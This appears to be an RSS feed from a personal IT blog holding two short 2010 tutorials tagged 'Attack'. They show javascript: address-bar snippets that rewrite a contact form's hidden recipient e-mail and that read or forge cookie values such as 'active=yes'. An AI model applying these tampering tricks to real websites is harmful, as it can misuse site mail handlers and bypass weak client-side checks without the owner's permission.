<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Haiders WebSpace &#187; Attack</title>
	<atom:link href="http://blog.creativeitp.com/tag/attack/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.creativeitp.com</link>
	<description>Let&#039;s talk about IT</description>
	<lastBuildDate>Sat, 27 Feb 2010 13:15:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>JavaScript Injection (Form Editing)</title>
		<link>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-form-editing/</link>
		<comments>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-form-editing/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 20:40:52 +0000</pubDate>
		<dc:creator>Haider al-Khateeb</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Forms]]></category>

		<guid isPermaLink="false">http://blog.creativeitp.com/?p=148</guid>
		<description><![CDATA[JavaScript codes can be injected in the address bars of web browsers to edit online forms before submitting them, bellow I am posting an example for archiving purposes. Assuming the page has a contact form, where submitted data is sent to an email address included in a hidden HTML input tag as in the following [...]]]></description>
			<content:encoded><![CDATA[<p>JavaScript codes can be injected in the address bars of web browsers to edit online forms before submitting them, bellow I am posting an example for archiving purposes.</p>
<p>Assuming the page has a contact form, where submitted data is sent to an email address included in a hidden HTML input tag as in the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;">…
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;ContactForm&quot;</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit.php&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Email&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;admin@website.com&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
…</pre></div></div>

<p>To change the email address to: <b>myemail@hotmail.com</b>, the following code can be injected:</p>
<p><span id="more-148"></span></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">ContactForm</span>.<span style="color: #660066;">Email</span>.<span style="color: #660066;">value</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myemail@hotmail.com&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Where <b>ContactForm</b> is the name of the form and <b>Email</b> is the name of the input tag.</p>
<p>To check that the value has actually been changed, view it with:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">ContactForm</span>.<span style="color: #000066;">Name</span>.<span style="color: #660066;">value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If the form has no name, check the form order in the page, if it is the first, you may refer to it using: <b>forms[0]</b>. Same thing applies to the input tag, you may refer to it using: <b>elements[0]</b>.</p>
<p>This way, assuming the form is the first, and the order of the input tag in that form is 4, our codes will be:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">elements</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myemail@hotmail.com&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>and</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">elements</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-form-editing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Javascript Injection (Cookie Editing)</title>
		<link>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-cookie-editing/</link>
		<comments>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-cookie-editing/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 00:51:52 +0000</pubDate>
		<dc:creator>Haider al-Khateeb</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Cookies]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://blog.creativeitp.com/?p=138</guid>
		<description><![CDATA[Your browser’s address bar (URL bar) can be used to inject JavaScript code directly into the webpage you are visiting without reloading the page. The following codes are useful to do cookie editing: First, visit the targeted webpage and inject the following code to view realted cookie’s fields and the values assigned to them. javascript:alert&#40;document.cookie&#41;; [...]]]></description>
			<content:encoded><![CDATA[<p>Your browser’s address bar (URL bar) can be used to inject JavaScript code directly into the webpage you are visiting without reloading the page. The following codes are useful to do cookie editing:</p>
<p>First, visit the targeted webpage and inject the following code to view realted cookie’s fields and the values assigned to them.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Second, to edit a certain value use:<br />
<span id="more-138"></span><br />
</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Field=myValue&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>For example, if the following field exist:</p>
<p><b>active=no</b></p>
<p>The value can be changed to <b>yes</b> with the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;active=yes&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If the field’s name does not exist, it will be created.<br />
To have more control over cookies, refer to a proper tutorial and inject the codes in a similar way.</p>
<p>In addition, there are cookies editors available online such as the following PlugIn for Mozilla FireFox:</p>
<p><b>Add N Edit Cookies</b><br />
Homepage: <a href="http://addneditcookies.mozdev.org" target="_blank">http://addneditcookies.mozdev.org</a>.<br />
Download latest release from: <a href="https://addons.mozilla.org/en-US/firefox/addon/573" target="_blank">https://addons.mozilla.org/en-US/firefox/addon/573</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.creativeitp.com/posts-and-articles/javascript/javascript-injection-cookie-editing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
